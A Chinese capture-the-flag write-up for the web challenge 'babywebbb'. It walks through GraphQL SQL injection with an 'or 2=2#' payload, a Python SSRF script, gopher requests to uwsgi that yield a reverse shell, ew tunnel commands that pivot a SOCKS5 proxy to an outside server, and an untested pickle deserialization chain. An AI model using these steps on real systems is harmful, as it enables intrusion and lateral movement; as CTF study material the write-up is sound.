babywebbb
**一开始这题都摸不着门路,枯了……
然后day2中午的时候,队友告诉我存在证书泄漏
找到
域名绑定到hosts,就可以访问了,后来才知道,本题nginx做代理时,是与域名绑定的。 结合一开始发现的rsync的未授权访问获取的源码 有一个graphQL的API服务存在注入
通过注入获取session后,进一步ssrf
注入+SSRF脚本
login = "https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login?query=%7B%0A%20%20recv%20(%0A%20%20%20%20data%3A%22%7B%5C%22operate%5C%22%3A%5C%22login%5C%22%2C%5C%22username%5C%22%3A%5C%22%5C%5C%5C%22or%202%3D2%23%5C%22%2C%5C%22password%5C%22%3A%5C%22%5C%22%7D%22%0A%20%20)%0A%7D"
s = requests.Session()
r = s.get(login,verify=False)
ssrf = "https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg"
data = {
"newurl":sys.argv[1]
}
r = s.post(ssrf,verify=False,data=data,timeout=5)
print(base64.b64decode(r.content))
可以发现发现
存在uwsgi
用uwsgi的命令执行脚本进行修改,将gopher语句输出后,通过ssrf打127.0.0.1:3031
成功反弹shell
根据提示socks5,通过扫描发现172.16.17.4开发1080端口。在内网机器上使用ew进行代理
./ew_for_linux64 -s lcx_slave -d 0.0.0.0 -e 4000 -f 172.16.17.4 -g 1080
自己的公网服务器执行
./ew_for_linux64 -s lcx_listen -l 1089 -e 4000
通过反代出来的socks5进内网
代码审计给出的代码https://paste.ubuntu.com/p/q4xJBfm3Bb/
回溯func waf
log记录数据
存在任意文件写 回溯saveall
同时session类里有调用了pickle.load,因此存在反序列化
题目又关了
因此可能的执行流程为(讲道理应该可以,测试不了了233333
构造反序列化payload
User 1 -> POST /adduser username=payload&password=
User 1 -> /savelog 修改 User2 session
User 2 -> 登录触发反序列化
User 2 -> getflag**